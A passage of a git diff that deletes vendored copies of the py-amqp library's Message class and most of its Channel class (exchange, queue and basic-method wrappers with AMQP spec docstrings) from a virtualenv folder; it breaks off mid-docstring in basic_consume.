according to the 'content_encoding' - argument. If that's None, it's set to 'UTF-8' automatically. - - Example:: - - msg = Message('hello world', - content_type='text/plain', - application_headers={'foo': 7}) - """ - - CLASS_ID = Basic.CLASS_ID - - #: Instances of this class have these attributes, which - #: are passed back and forth as message properties between - #: client and server - PROPERTIES = [ - ('content_type', 's'), - ('content_encoding', 's'), - ('application_headers', 'F'), - ('delivery_mode', 'o'), - ('priority', 'o'), - ('correlation_id', 's'), - ('reply_to', 's'), - ('expiration', 's'), - ('message_id', 's'), - ('timestamp', 'L'), - ('type', 's'), - ('user_id', 's'), - ('app_id', 's'), - ('cluster_id', 's') - ] - - def __init__(self, body='', children=None, channel=None, **properties): - super().__init__(**properties) - #: set by basic_consume/basic_get - self.delivery_info = None - self.body = body - self.channel = channel - - __slots__ = ( - "delivery_info", - "body", - "channel", - ) - - @property - def headers(self): - return self.properties.get('application_headers') - - @property - def delivery_tag(self): - return self.delivery_info.get('delivery_tag') diff --git a/venv/Lib/site-packages/amqp/channel.py b/venv/Lib/site-packages/amqp/channel.py deleted file mode 100644 index fffc7b8e4dbecdc5a500346f16bcd14c9c7453d3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/channel.py +++ /dev/null @@ -1,2127 +0,0 @@ -"""AMQP Channels.""" -# Copyright (C) 2007-2008 Barry Pederson - -import logging -import socket -from collections import defaultdict -from queue import Queue - -from vine import ensure_promise - -from . import spec -from .abstract_channel import AbstractChannel -from .exceptions import (ChannelError, ConsumerCancelled, MessageNacked, - RecoverableChannelError, RecoverableConnectionError, - error_for_code) -from .protocol import queue_declare_ok_t - -__all__ = ('Channel',) - -AMQP_LOGGER = logging.getLogger('amqp') - -REJECTED_MESSAGE_WITHOUT_CALLBACK = """\ -Rejecting message with delivery tag %r for reason of having no callbacks. -consumer_tag=%r exchange=%r routing_key=%r.\ -""" - - -class VDeprecationWarning(DeprecationWarning): - pass - - -class Channel(AbstractChannel): - """AMQP Channel. - - The channel class provides methods for a client to establish a - virtual connection - a channel - to a server and for both peers to - operate the virtual connection thereafter. - - GRAMMAR:: - - channel = open-channel *use-channel close-channel - open-channel = C:OPEN S:OPEN-OK - use-channel = C:FLOW S:FLOW-OK - / S:FLOW C:FLOW-OK - / functional-class - close-channel = C:CLOSE S:CLOSE-OK - / S:CLOSE C:CLOSE-OK - - Create a channel bound to a connection and using the specified - numeric channel_id, and open on the server. - - The 'auto_decode' parameter (defaults to True), indicates - whether the library should attempt to decode the body - of Messages to a Unicode string if there's a 'content_encoding' - property for the message. If there's no 'content_encoding' - property, or the decode raises an Exception, the message body - is left as plain bytes. - """ - - _METHODS = { - spec.method(spec.Channel.Close, 'BsBB'), - spec.method(spec.Channel.CloseOk), - spec.method(spec.Channel.Flow, 'b'), - spec.method(spec.Channel.FlowOk, 'b'), - spec.method(spec.Channel.OpenOk), - spec.method(spec.Exchange.DeclareOk), - spec.method(spec.Exchange.DeleteOk), - spec.method(spec.Exchange.BindOk), - spec.method(spec.Exchange.UnbindOk), - spec.method(spec.Queue.BindOk), - spec.method(spec.Queue.UnbindOk), - spec.method(spec.Queue.DeclareOk, 'sll'), - spec.method(spec.Queue.DeleteOk, 'l'), - spec.method(spec.Queue.PurgeOk, 'l'), - spec.method(spec.Basic.Cancel, 's'), - spec.method(spec.Basic.CancelOk, 's'), - spec.method(spec.Basic.ConsumeOk, 's'), - spec.method(spec.Basic.Deliver, 'sLbss', content=True), - spec.method(spec.Basic.GetEmpty, 's'), - spec.method(spec.Basic.GetOk, 'Lbssl', content=True), - spec.method(spec.Basic.QosOk), - spec.method(spec.Basic.RecoverOk), - spec.method(spec.Basic.Return, 'Bsss', content=True), - spec.method(spec.Tx.CommitOk), - spec.method(spec.Tx.RollbackOk), - spec.method(spec.Tx.SelectOk), - spec.method(spec.Confirm.SelectOk), - spec.method(spec.Basic.Ack, 'Lb'), - spec.method(spec.Basic.Nack, 'Lb'), - } - _METHODS = {m.method_sig: m for m in _METHODS} - - _ALLOWED_METHODS_WHEN_CLOSING = ( - spec.Channel.Close, spec.Channel.CloseOk - ) - - def __init__(self, connection, - channel_id=None, auto_decode=True, on_open=None): - if channel_id: - connection._claim_channel_id(channel_id) - else: - channel_id = connection._get_free_channel_id() - - AMQP_LOGGER.debug('using channel_id: %s', channel_id) - - super().__init__(connection, channel_id) - - self.is_open = False - self.active = True # Flow control - self.returned_messages = Queue() - self.callbacks = {} - self.cancel_callbacks = {} - self.auto_decode = auto_decode - self.events = defaultdict(set) - self.no_ack_consumers = set() - - self.on_open = ensure_promise(on_open) - - # set first time basic_publish_confirm is called - # and publisher confirms are enabled for this channel. - self._confirm_selected = False - if self.connection.confirm_publish: - self.basic_publish = self.basic_publish_confirm - - __slots__ = ( - "is_open", - "active", - "returned_messages", - "callbacks", - "cancel_callbacks", - "events", - "no_ack_consumers", - "on_open", - "_confirm_selected", - ) - - def then(self, on_success, on_error=None): - return self.on_open.then(on_success, on_error) - - def _setup_listeners(self): - self._callbacks.update({ - spec.Channel.Close: self._on_close, - spec.Channel.CloseOk: self._on_close_ok, - spec.Channel.Flow: self._on_flow, - spec.Channel.OpenOk: self._on_open_ok, - spec.Basic.Cancel: self._on_basic_cancel, - spec.Basic.CancelOk: self._on_basic_cancel_ok, - spec.Basic.Deliver: self._on_basic_deliver, - spec.Basic.Return: self._on_basic_return, - spec.Basic.Ack: self._on_basic_ack, - spec.Basic.Nack: self._on_basic_nack, - }) - - def collect(self): - """Tear down this object. - - Best called after we've agreed to close with the server. - """ - AMQP_LOGGER.debug('Closed channel #%s', self.channel_id) - self.is_open = False - channel_id, self.channel_id = self.channel_id, None - connection, self.connection = self.connection, None - if connection: - connection.channels.pop(channel_id, None) - try: - connection._used_channel_ids.remove(channel_id) - except ValueError: - # channel id already removed - pass - self.callbacks.clear() - self.cancel_callbacks.clear() - self.events.clear() - self.no_ack_consumers.clear() - - def _do_revive(self): - self.is_open = False - self.open() - - def close(self, reply_code=0, reply_text='', method_sig=(0, 0), - argsig='BsBB'): - """Request a channel close. - - This method indicates that the sender wants to close the - channel. This may be due to internal conditions (e.g. a forced - shut-down) or due to an error handling a specific method, i.e. - an exception. When a close is due to an exception, the sender - provides the class and method id of the method which caused - the exception. - - RULE: - - After sending this method any received method except - Channel.Close-OK MUST be discarded. - - RULE: - - The peer sending this method MAY use a counter or timeout - to detect failure of the other peer to respond correctly - with Channel.Close-OK.. - - PARAMETERS: - reply_code: short - - The reply code. The AMQ reply codes are defined in AMQ - RFC 011. - - reply_text: shortstr - - The localised reply text. This text can be logged as an - aid to resolving issues. - - class_id: short - - failing method class - - When the close is provoked by a method exception, this - is the class of the method. - - method_id: short - - failing method ID - - When the close is provoked by a method exception, this - is the ID of the method. - """ - try: - if self.connection is None: - return - if self.connection.channels is None: - return - if not self.is_open: - return - - self.is_closing = True - return self.send_method( - spec.Channel.Close, argsig, - (reply_code, reply_text, method_sig[0], method_sig[1]), - wait=spec.Channel.CloseOk, - ) - finally: - self.is_closing = False - self.connection = None - - def _on_close(self, reply_code, reply_text, class_id, method_id): - """Request a channel close. - - This method indicates that the sender wants to close the - channel. This may be due to internal conditions (e.g. a forced - shut-down) or due to an error handling a specific method, i.e. - an exception. When a close is due to an exception, the sender - provides the class and method id of the method which caused - the exception. - - RULE: - - After sending this method any received method except - Channel.Close-OK MUST be discarded. - - RULE: - - The peer sending this method MAY use a counter or timeout - to detect failure of the other peer to respond correctly - with Channel.Close-OK.. - - PARAMETERS: - reply_code: short - - The reply code. The AMQ reply codes are defined in AMQ - RFC 011. - - reply_text: shortstr - - The localised reply text. This text can be logged as an - aid to resolving issues. - - class_id: short - - failing method class - - When the close is provoked by a method exception, this - is the class of the method. - - method_id: short - - failing method ID - - When the close is provoked by a method exception, this - is the ID of the method. - """ - self.send_method(spec.Channel.CloseOk) - if not self.connection.is_closing: - self._do_revive() - raise error_for_code( - reply_code, reply_text, (class_id, method_id), ChannelError, - ) - - def _on_close_ok(self): - """Confirm a channel close. - - This method confirms a Channel.Close method and tells the - recipient that it is safe to release resources for the channel - and close the socket. - - RULE: - - A peer that detects a socket closure without having - received a Channel.Close-Ok handshake method SHOULD log - the error. - """ - self.collect() - - def flow(self, active): - """Enable/disable flow from peer. - - This method asks the peer to pause or restart the flow of - content data. This is a simple flow-control mechanism that a - peer can use to avoid overflowing its queues or otherwise - finding itself receiving more messages than it can process. - Note that this method is not intended for window control. The - peer that receives a request to stop sending content should - finish sending the current content, if any, and then wait - until it receives a Flow restart method. - - RULE: - - When a new channel is opened, it is active. Some - applications assume that channels are inactive until - started. To emulate this behaviour a client MAY open the - channel, then pause it. - - RULE: - - When sending content data in multiple frames, a peer - SHOULD monitor the channel for incoming methods and - respond to a Channel.Flow as rapidly as possible. - - RULE: - - A peer MAY use the Channel.Flow method to throttle - incoming content data for internal reasons, for example, - when exchanging data over a slower connection. - - RULE: - - The peer that requests a Channel.Flow method MAY - disconnect and/or ban a peer that does not respect the - request. - - PARAMETERS: - active: boolean - - start/stop content frames - - If True, the peer starts sending content frames. If - False, the peer stops sending content frames. - """ - return self.send_method( - spec.Channel.Flow, 'b', (active,), wait=spec.Channel.FlowOk, - ) - - def _on_flow(self, active): - """Enable/disable flow from peer. - - This method asks the peer to pause or restart the flow of - content data. This is a simple flow-control mechanism that a - peer can use to avoid overflowing its queues or otherwise - finding itself receiving more messages than it can process. - Note that this method is not intended for window control. The - peer that receives a request to stop sending content should - finish sending the current content, if any, and then wait - until it receives a Flow restart method. - - RULE: - - When a new channel is opened, it is active. Some - applications assume that channels are inactive until - started. To emulate this behaviour a client MAY open the - channel, then pause it. - - RULE: - - When sending content data in multiple frames, a peer - SHOULD monitor the channel for incoming methods and - respond to a Channel.Flow as rapidly as possible. - - RULE: - - A peer MAY use the Channel.Flow method to throttle - incoming content data for internal reasons, for example, - when exchanging data over a slower connection. - - RULE: - - The peer that requests a Channel.Flow method MAY - disconnect and/or ban a peer that does not respect the - request. - - PARAMETERS: - active: boolean - - start/stop content frames - - If True, the peer starts sending content frames. If - False, the peer stops sending content frames. - """ - self.active = active - self._x_flow_ok(self.active) - - def _x_flow_ok(self, active): - """Confirm a flow method. - - Confirms to the peer that a flow command was received and - processed. - - PARAMETERS: - active: boolean - - current flow setting - - Confirms the setting of the processed flow method: - True means the peer will start sending or continue - to send content frames; False means it will not. - """ - return self.send_method(spec.Channel.FlowOk, 'b', (active,)) - - def open(self): - """Open a channel for use. - - This method opens a virtual connection (a channel). - - RULE: - - This method MUST NOT be called when the channel is already - open. - - PARAMETERS: - out_of_band: shortstr (DEPRECATED) - - out-of-band settings - - Configures out-of-band transfers on this channel. The - syntax and meaning of this field will be formally - defined at a later date. - """ - if self.is_open: - return - - return self.send_method( - spec.Channel.Open, 's', ('',), wait=spec.Channel.OpenOk, - ) - - def _on_open_ok(self): - """Signal that the channel is ready. - - This method signals to the client that the channel is ready - for use. - """ - self.is_open = True - self.on_open(self) - AMQP_LOGGER.debug('Channel open') - - ############# - # - # Exchange - # - # - # work with exchanges - # - # Exchanges match and distribute messages across queues. - # Exchanges can be configured in the server or created at runtime. - # - # GRAMMAR:: - # - # exchange = C:DECLARE S:DECLARE-OK - # / C:DELETE S:DELETE-OK - # - # RULE: - # - # The server MUST implement the direct and fanout exchange - # types, and predeclare the corresponding exchanges named - # amq.direct and amq.fanout in each virtual host. The server - # MUST also predeclare a direct exchange to act as the default - # exchange for content Publish methods and for default queue - # bindings. - # - # RULE: - # - # The server SHOULD implement the topic exchange type, and - # predeclare the corresponding exchange named amq.topic in - # each virtual host. - # - # RULE: - # - # The server MAY implement the system exchange type, and - # predeclare the corresponding exchanges named amq.system in - # each virtual host. If the client attempts to bind a queue to - # the system exchange, the server MUST raise a connection - # exception with reply code 507 (not allowed). - # - - def exchange_declare(self, exchange, type, passive=False, durable=False, - auto_delete=True, nowait=False, arguments=None, - argsig='BssbbbbbF'): - """Declare exchange, create if needed. - - This method creates an exchange if it does not already exist, - and if the exchange exists, verifies that it is of the correct - and expected class. - - RULE: - - The server SHOULD support a minimum of 16 exchanges per - virtual host and ideally, impose no limit except as - defined by available resources. - - PARAMETERS: - exchange: shortstr - - RULE: - - Exchange names starting with "amq." are reserved - for predeclared and standardised exchanges. If - the client attempts to create an exchange starting - with "amq.", the server MUST raise a channel - exception with reply code 403 (access refused). - - type: shortstr - - exchange type - - Each exchange belongs to one of a set of exchange - types implemented by the server. The exchange types - define the functionality of the exchange - i.e. how - messages are routed through it. It is not valid or - meaningful to attempt to change the type of an - existing exchange. - - RULE: - - If the exchange already exists with a different - type, the server MUST raise a connection exception - with a reply code 507 (not allowed). - - RULE: - - If the server does not support the requested - exchange type it MUST raise a connection exception - with a reply code 503 (command invalid). - - passive: boolean - - do not create exchange - - If set, the server will not create the exchange. The - client can use this to check whether an exchange - exists without modifying the server state. - - RULE: - - If set, and the exchange does not already exist, - the server MUST raise a channel exception with - reply code 404 (not found). - - durable: boolean - - request a durable exchange - - If set when creating a new exchange, the exchange will - be marked as durable. Durable exchanges remain active - when a server restarts. Non-durable exchanges - (transient exchanges) are purged if/when a server - restarts. - - RULE: - - The server MUST support both durable and transient - exchanges. - - RULE: - - The server MUST ignore the durable field if the - exchange already exists. - - auto_delete: boolean - - auto-delete when unused - - If set, the exchange is deleted when all queues have - finished using it. - - RULE: - - The server SHOULD allow for a reasonable delay - between the point when it determines that an - exchange is not being used (or no longer used), - and the point when it deletes the exchange. At - the least it must allow a client to create an - exchange and then bind a queue to it, with a small - but non-zero delay between these two actions. - - RULE: - - The server MUST ignore the auto-delete field if - the exchange already exists. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - - arguments: table - - arguments for declaration - - A set of arguments for the declaration. The syntax and - semantics of these arguments depends on the server - implementation. This field is ignored if passive is - True. - """ - self.send_method( - spec.Exchange.Declare, argsig, - (0, exchange, type, passive, durable, auto_delete, - False, nowait, arguments), - wait=None if nowait else spec.Exchange.DeclareOk, - ) - - def exchange_delete(self, exchange, if_unused=False, nowait=False, - argsig='Bsbb'): - """Delete an exchange. - - This method deletes an exchange. When an exchange is deleted - all queue bindings on the exchange are cancelled. - - PARAMETERS: - exchange: shortstr - - RULE: - - The exchange MUST exist. Attempting to delete a - non-existing exchange causes a channel exception. - - if_unused: boolean - - delete only if unused - - If set, the server will only delete the exchange if it - has no queue bindings. If the exchange has queue - bindings the server does not delete it but raises a - channel exception instead. - - RULE: - - If set, the server SHOULD delete the exchange but - only if it has no queue bindings. - - RULE: - - If set, the server SHOULD raise a channel - exception if the exchange is in use. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - """ - return self.send_method( - spec.Exchange.Delete, argsig, (0, exchange, if_unused, nowait), - wait=None if nowait else spec.Exchange.DeleteOk, - ) - - def exchange_bind(self, destination, source='', routing_key='', - nowait=False, arguments=None, argsig='BsssbF'): - """Bind an exchange to an exchange. - - RULE: - - A server MUST allow and ignore duplicate bindings - that - is, two or more bind methods for a specific exchanges, - with identical arguments - without treating these as an - error. - - RULE: - - A server MUST allow cycles of exchange bindings to be - created including allowing an exchange to be bound to - itself. - - RULE: - - A server MUST not deliver the same message more than once - to a destination exchange, even if the topology of - exchanges and bindings results in multiple (even infinite) - routes to that exchange. - - PARAMETERS: - reserved-1: short - - destination: shortstr - - Specifies the name of the destination exchange to - bind. - - RULE: - - A client MUST NOT be allowed to bind a non- - existent destination exchange. - - RULE: - - The server MUST accept a blank exchange name to - mean the default exchange. - - source: shortstr - - Specifies the name of the source exchange to bind. - - RULE: - - A client MUST NOT be allowed to bind a non- - existent source exchange. - - RULE: - - The server MUST accept a blank exchange name to - mean the default exchange. - - routing-key: shortstr - - Specifies the routing key for the binding. The routing - key is used for routing messages depending on the - exchange configuration. Not all exchanges use a - routing key - refer to the specific exchange - documentation. - - no-wait: bit - - arguments: table - - A set of arguments for the binding. The syntax and - semantics of these arguments depends on the exchange - class. - """ - return self.send_method( - spec.Exchange.Bind, argsig, - (0, destination, source, routing_key, nowait, arguments), - wait=None if nowait else spec.Exchange.BindOk, - ) - - def exchange_unbind(self, destination, source='', routing_key='', - nowait=False, arguments=None, argsig='BsssbF'): - """Unbind an exchange from an exchange. - - RULE: - - If a unbind fails, the server MUST raise a connection - exception. - - PARAMETERS: - reserved-1: short - - destination: shortstr - - Specifies the name of the destination exchange to - unbind. - - RULE: - - The client MUST NOT attempt to unbind an exchange - that does not exist from an exchange. - - RULE: - - The server MUST accept a blank exchange name to - mean the default exchange. - - source: shortstr - - Specifies the name of the source exchange to unbind. - - RULE: - - The client MUST NOT attempt to unbind an exchange - from an exchange that does not exist. - - RULE: - - The server MUST accept a blank exchange name to - mean the default exchange. - - routing-key: shortstr - - Specifies the routing key of the binding to unbind. - - no-wait: bit - - arguments: table - - Specifies the arguments of the binding to unbind. - """ - return self.send_method( - spec.Exchange.Unbind, argsig, - (0, destination, source, routing_key, nowait, arguments), - wait=None if nowait else spec.Exchange.UnbindOk, - ) - - ############# - # - # Queue - # - # - # work with queues - # - # Queues store and forward messages. Queues can be configured in - # the server or created at runtime. Queues must be attached to at - # least one exchange in order to receive messages from publishers. - # - # GRAMMAR:: - # - # queue = C:DECLARE S:DECLARE-OK - # / C:BIND S:BIND-OK - # / C:PURGE S:PURGE-OK - # / C:DELETE S:DELETE-OK - # - # RULE: - # - # A server MUST allow any content class to be sent to any - # queue, in any mix, and queue and delivery these content - # classes independently. Note that all methods that fetch - # content off queues are specific to a given content class. - # - - def queue_bind(self, queue, exchange='', routing_key='', - nowait=False, arguments=None, argsig='BsssbF'): - """Bind queue to an exchange. - - This method binds a queue to an exchange. Until a queue is - bound it will not receive any messages. In a classic - messaging model, store-and-forward queues are bound to a dest - exchange and subscription queues are bound to a dest_wild - exchange. - - RULE: - - A server MUST allow ignore duplicate bindings - that is, - two or more bind methods for a specific queue, with - identical arguments - without treating these as an error. - - RULE: - - If a bind fails, the server MUST raise a connection - exception. - - RULE: - - The server MUST NOT allow a durable queue to bind to a - transient exchange. If the client attempts this the server - MUST raise a channel exception. - - RULE: - - Bindings for durable queues are automatically durable and - the server SHOULD restore such bindings after a server - restart. - - RULE: - - The server SHOULD support at least 4 bindings per queue, - and ideally, impose no limit except as defined by - available resources. - - PARAMETERS: - queue: shortstr - - Specifies the name of the queue to bind. If the queue - name is empty, refers to the current queue for the - channel, which is the last declared queue. - - RULE: - - If the client did not previously declare a queue, - and the queue name in this method is empty, the - server MUST raise a connection exception with - reply code 530 (not allowed). - - RULE: - - If the queue does not exist the server MUST raise - a channel exception with reply code 404 (not - found). - - exchange: shortstr - - The name of the exchange to bind to. - - RULE: - - If the exchange does not exist the server MUST - raise a channel exception with reply code 404 (not - found). - - routing_key: shortstr - - message routing key - - Specifies the routing key for the binding. The - routing key is used for routing messages depending on - the exchange configuration. Not all exchanges use a - routing key - refer to the specific exchange - documentation. If the routing key is empty and the - queue name is empty, the routing key will be the - current queue for the channel, which is the last - declared queue. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - - arguments: table - - arguments for binding - - A set of arguments for the binding. The syntax and - semantics of these arguments depends on the exchange - class. - """ - return self.send_method( - spec.Queue.Bind, argsig, - (0, queue, exchange, routing_key, nowait, arguments), - wait=None if nowait else spec.Queue.BindOk, - ) - - def queue_unbind(self, queue, exchange, routing_key='', - nowait=False, arguments=None, argsig='BsssF'): - """Unbind a queue from an exchange. - - This method unbinds a queue from an exchange. - - RULE: - - If a unbind fails, the server MUST raise a connection exception. - - PARAMETERS: - queue: shortstr - - Specifies the name of the queue to unbind. - - RULE: - - The client MUST either specify a queue name or have - previously declared a queue on the same channel - - RULE: - - The client MUST NOT attempt to unbind a queue that - does not exist. - - exchange: shortstr - - The name of the exchange to unbind from. - - RULE: - - The client MUST NOT attempt to unbind a queue from an - exchange that does not exist. - - RULE: - - The server MUST accept a blank exchange name to mean - the default exchange. - - routing_key: shortstr - - routing key of binding - - Specifies the routing key of the binding to unbind. - - arguments: table - - arguments of binding - - Specifies the arguments of the binding to unbind. - """ - return self.send_method( - spec.Queue.Unbind, argsig, - (0, queue, exchange, routing_key, arguments), - wait=None if nowait else spec.Queue.UnbindOk, - ) - - def queue_declare(self, queue='', passive=False, durable=False, - exclusive=False, auto_delete=True, nowait=False, - arguments=None, argsig='BsbbbbbF'): - """Declare queue, create if needed. - - This method creates or checks a queue. When creating a new - queue the client can specify various properties that control - the durability of the queue and its contents, and the level of - sharing for the queue. - - RULE: - - The server MUST create a default binding for a newly- - created queue to the default exchange, which is an - exchange of type 'direct'. - - RULE: - - The server SHOULD support a minimum of 256 queues per - virtual host and ideally, impose no limit except as - defined by available resources. - - PARAMETERS: - queue: shortstr - - RULE: - - The queue name MAY be empty, in which case the - server MUST create a new queue with a unique - generated name and return this to the client in - the Declare-Ok method. - - RULE: - - Queue names starting with "amq." are reserved for - predeclared and standardised server queues. If - the queue name starts with "amq." and the passive - option is False, the server MUST raise a connection - exception with reply code 403 (access refused). - - passive: boolean - - do not create queue - - If set, the server will not create the queue. The - client can use this to check whether a queue exists - without modifying the server state. - - RULE: - - If set, and the queue does not already exist, the - server MUST respond with a reply code 404 (not - found) and raise a channel exception. - - durable: boolean - - request a durable queue - - If set when creating a new queue, the queue will be - marked as durable. Durable queues remain active when - a server restarts. Non-durable queues (transient - queues) are purged if/when a server restarts. Note - that durable queues do not necessarily hold persistent - messages, although it does not make sense to send - persistent messages to a transient queue. - - RULE: - - The server MUST recreate the durable queue after a - restart. - - RULE: - - The server MUST support both durable and transient - queues. - - RULE: - - The server MUST ignore the durable field if the - queue already exists. - - exclusive: boolean - - request an exclusive queue - - Exclusive queues may only be consumed from by the - current connection. Setting the 'exclusive' flag - always implies 'auto-delete'. - - RULE: - - The server MUST support both exclusive (private) - and non-exclusive (shared) queues. - - RULE: - - The server MUST raise a channel exception if - 'exclusive' is specified and the queue already - exists and is owned by a different connection. - - auto_delete: boolean - - auto-delete queue when unused - - If set, the queue is deleted when all consumers have - finished using it. Last consumer can be cancelled - either explicitly or because its channel is closed. If - there was no consumer ever on the queue, it won't be - deleted. - - RULE: - - The server SHOULD allow for a reasonable delay - between the point when it determines that a queue - is not being used (or no longer used), and the - point when it deletes the queue. At the least it - must allow a client to create a queue and then - create a consumer to read from it, with a small - but non-zero delay between these two actions. The - server should equally allow for clients that may - be disconnected prematurely, and wish to re- - consume from the same queue without losing - messages. We would recommend a configurable - timeout, with a suitable default value being one - minute. - - RULE: - - The server MUST ignore the auto-delete field if - the queue already exists. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - - arguments: table - - arguments for declaration - - A set of arguments for the declaration. The syntax and - semantics of these arguments depends on the server - implementation. This field is ignored if passive is - True. - - Returns a tuple containing 3 items: - the name of the queue (essential for automatically-named queues), - message count and - consumer count - """ - self.send_method( - spec.Queue.Declare, argsig, - (0, queue, passive, durable, exclusive, auto_delete, - nowait, arguments), - ) - if not nowait: - return queue_declare_ok_t(*self.wait( - spec.Queue.DeclareOk, returns_tuple=True, - )) - - def queue_delete(self, queue='', - if_unused=False, if_empty=False, nowait=False, - argsig='Bsbbb'): - """Delete a queue. - - This method deletes a queue. When a queue is deleted any - pending messages are sent to a dead-letter queue if this is - defined in the server configuration, and all consumers on the - queue are cancelled. - - RULE: - - The server SHOULD use a dead-letter queue to hold messages - that were pending on a deleted queue, and MAY provide - facilities for a system administrator to move these - messages back to an active queue. - - PARAMETERS: - queue: shortstr - - Specifies the name of the queue to delete. If the - queue name is empty, refers to the current queue for - the channel, which is the last declared queue. - - RULE: - - If the client did not previously declare a queue, - and the queue name in this method is empty, the - server MUST raise a connection exception with - reply code 530 (not allowed). - - RULE: - - The queue must exist. Attempting to delete a non- - existing queue causes a channel exception. - - if_unused: boolean - - delete only if unused - - If set, the server will only delete the queue if it - has no consumers. If the queue has consumers the - server does does not delete it but raises a channel - exception instead. - - RULE: - - The server MUST respect the if-unused flag when - deleting a queue. - - if_empty: boolean - - delete only if empty - - If set, the server will only delete the queue if it - has no messages. If the queue is not empty the server - raises a channel exception. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - - If nowait is False, returns the number of deleted messages. - """ - return self.send_method( - spec.Queue.Delete, argsig, - (0, queue, if_unused, if_empty, nowait), - wait=None if nowait else spec.Queue.DeleteOk, - ) - - def queue_purge(self, queue='', nowait=False, argsig='Bsb'): - """Purge a queue. - - This method removes all messages from a queue. It does not - cancel consumers. Purged messages are deleted without any - formal "undo" mechanism. - - RULE: - - A call to purge MUST result in an empty queue. - - RULE: - - On transacted channels the server MUST not purge messages - that have already been sent to a client but not yet - acknowledged. - - RULE: - - The server MAY implement a purge queue or log that allows - system administrators to recover accidentally-purged - messages. The server SHOULD NOT keep purged messages in - the same storage spaces as the live messages since the - volumes of purged messages may get very large. - - PARAMETERS: - queue: shortstr - - Specifies the name of the queue to purge. If the - queue name is empty, refers to the current queue for - the channel, which is the last declared queue. - - RULE: - - If the client did not previously declare a queue, - and the queue name in this method is empty, the - server MUST raise a connection exception with - reply code 530 (not allowed). - - RULE: - - The queue must exist. Attempting to purge a non- - existing queue causes a channel exception. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - - If nowait is False, returns a number of purged messages. - """ - return self.send_method( - spec.Queue.Purge, argsig, (0, queue, nowait), - wait=None if nowait else spec.Queue.PurgeOk, - ) - - ############# - # - # Basic - # - # - # work with basic content - # - # The Basic class provides methods that support an industry- - # standard messaging model. - # - # GRAMMAR:: - # - # basic = C:QOS S:QOS-OK - # / C:CONSUME S:CONSUME-OK - # / C:CANCEL S:CANCEL-OK - # / C:PUBLISH content - # / S:RETURN content - # / S:DELIVER content - # / C:GET ( S:GET-OK content / S:GET-EMPTY ) - # / C:ACK - # / C:REJECT - # - # RULE: - # - # The server SHOULD respect the persistent property of basic - # messages and SHOULD make a best-effort to hold persistent - # basic messages on a reliable storage mechanism. - # - # RULE: - # - # The server MUST NOT discard a persistent basic message in - # case of a queue overflow. The server MAY use the - # Channel.Flow method to slow or stop a basic message - # publisher when necessary. - # - # RULE: - # - # The server MAY overflow non-persistent basic messages to - # persistent storage and MAY discard or dead-letter non- - # persistent basic messages on a priority basis if the queue - # size exceeds some configured limit. - # - # RULE: - # - # The server MUST implement at least 2 priority levels for - # basic messages, where priorities 0-4 and 5-9 are treated as - # two distinct levels. The server MAY implement up to 10 - # priority levels. - # - # RULE: - # - # The server MUST deliver messages of the same priority in - # order irrespective of their individual persistence. - # - # RULE: - # - # The server MUST support both automatic and explicit - # acknowledgments on Basic content. - # - - def basic_ack(self, delivery_tag, multiple=False, argsig='Lb'): - """Acknowledge one or more messages. - - This method acknowledges one or more messages delivered via - the Deliver or Get-Ok methods. The client can ask to confirm - a single message or a set of messages up to and including a - specific message. - - PARAMETERS: - delivery_tag: longlong - - server-assigned delivery tag - - The server-assigned and channel-specific delivery tag - - RULE: - - The delivery tag is valid only within the channel - from which the message was received. I.e. a client - MUST NOT receive a message on one channel and then - acknowledge it on another. - - RULE: - - The server MUST NOT use a zero value for delivery - tags. Zero is reserved for client use, meaning "all - messages so far received". - - multiple: boolean - - acknowledge multiple messages - - If set to True, the delivery tag is treated as "up to - and including", so that the client can acknowledge - multiple messages with a single method. If set to - False, the delivery tag refers to a single message. - If the multiple field is True, and the delivery tag - is zero, tells the server to acknowledge all - outstanding messages. - - RULE: - - The server MUST validate that a non-zero delivery- - tag refers to an delivered message, and raise a - channel exception if this is not the case. - """ - return self.send_method( - spec.Basic.Ack, argsig, (delivery_tag, multiple), - ) - - def basic_cancel(self, consumer_tag, nowait=False, argsig='sb'): - """End a queue consumer. - - This method cancels a consumer. This does not affect already - delivered messages, but it does mean the server will not send - any more messages for that consumer. The client may receive - an arbitrary number of messages in between sending the cancel - method and receiving the cancel-ok reply. - - RULE: - - If the queue no longer exists when the client sends a - cancel command, or the consumer has been cancelled for - other reasons, this command has no effect. - - PARAMETERS: - consumer_tag: shortstr - - consumer tag - - Identifier for the consumer, valid within the current - connection. - - RULE: - - The consumer tag is valid only within the channel - from which the consumer was created. I.e. a client - MUST NOT create a consumer in one channel and then - use it in another. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - """ - if self.connection is not None: - self.no_ack_consumers.discard(consumer_tag) - return self.send_method( - spec.Basic.Cancel, argsig, (consumer_tag, nowait), - wait=None if nowait else spec.Basic.CancelOk, - ) - - def _on_basic_cancel(self, consumer_tag): - """Consumer cancelled by server. - - Most likely the queue was deleted. - - """ - callback = self._remove_tag(consumer_tag) - if callback: - callback(consumer_tag) - else: - raise ConsumerCancelled(consumer_tag, spec.Basic.Cancel) - - def _on_basic_cancel_ok(self, consumer_tag): - self._remove_tag(consumer_tag) - - def _remove_tag(self, consumer_tag): - self.callbacks.pop(consumer_tag, None) - return self.cancel_callbacks.pop(consumer_tag, None) - - def basic_consume(self, queue='', consumer_tag='', no_local=False, - no_ack=False, exclusive=False, nowait=False, - callback=None, arguments=None, on_cancel=None, - argsig='BssbbbbF'): - """Start a queue consumer. - - This method asks the server to start a "consumer", which is a - transient request for messages from a specific queue. - Consumers last as long as the channel they were created on, or - until the client cancels them. - - RULE: - - The server SHOULD support at least 16 consumers per queue, - unless the queue was declared as private, and ideally, - impose no limit except 